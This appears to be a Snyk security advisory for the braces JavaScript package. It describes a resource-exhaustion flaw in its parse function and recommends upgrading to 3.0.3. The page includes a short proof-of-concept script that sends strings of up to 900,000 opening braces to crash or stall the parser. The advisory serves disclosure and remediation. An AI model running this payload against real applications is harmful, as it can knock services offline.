Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade braces
to version 3.0.3 or higher.
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the parse
function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
const { braces } = require('micromatch');
console.log("Executing payloads...");
const maxRepeats = 10;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
const payload = '{'.repeat(repeats*90000);
console.log(`Testing with ${repeats} repeats...`);
const startTime = Date.now();
braces(payload);
const endTime = Date.now();
const executionTime = endTime - startTime;
console.log(`Regex executed in ${executionTime / 1000}s.\n`);
}